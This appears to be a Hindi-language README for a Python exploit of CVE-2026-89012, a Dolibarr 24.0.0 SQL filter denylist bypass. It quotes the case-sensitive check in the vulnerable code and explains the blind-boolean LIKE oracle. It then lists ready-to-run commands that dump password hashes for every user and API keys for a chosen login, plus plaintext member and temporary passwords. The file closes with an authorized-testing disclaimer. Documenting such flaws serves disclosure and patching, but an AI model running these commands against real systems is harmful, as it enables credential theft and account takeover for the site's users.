
CVE-2026-89012 के लिए Python exploit, जो एक Dolibarr SQL filter denylist bypass है जो REST API के माध्यम से password hashes और API keys निकालने के लिए blind-boolean oracle का उपयोग करता है।
CVE-2026-89012 के लिए एक्सप्लॉइट: forgeSQLFromUniversalSearchCriteria() में
forbidden-fields डिनाइलिस्ट (जो CVE-2026-71510 फ़िक्स के साथ पेश किया गया था)
case-sensitive in_array() का उपयोग करता है, जबकि operand charset A-Z की अनुमति देता है।
चूँकि SQL column resolution case-insensitive होता है, एक authenticated API उपयोगकर्ता
t.pass_crypted के बजाय t.PASS_CRYPTED क्वेरी कर सकता है और डिनाइलिस्ट को बायपास कर सकता है।
Prefix LIKE predicates sqlfilters को एक blind-boolean oracle में बदल देते हैं जो
password hashes को एक-एक अक्षर करके recover करता है।
रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-89012
| प्रभावित | Dolibarr 24.0.0 |
| फ़िक्स्ड | 24.0.1 |
| पूर्वापेक्षाएँ | users->lire के साथ valid API token |
| प्रभाव | pass_crypted, api_key, pass, pass_temp, openid का disclosure |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
केवल standard library (Python 3.8+)। --proxy, --insecure, --timeout का समर्थन करता है।
नोट: case-insensitive collation (डिफ़ॉल्ट) के अंतर्गत bcrypt मान character case तक
ठीक-ठीक recover होता है; plaintext columns (llx_adherent.pass via
/api/index.php/members, pass_temp) byte-exact recover होते हैं।

केवल अधिकृत परीक्षण और शोध के लिए। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।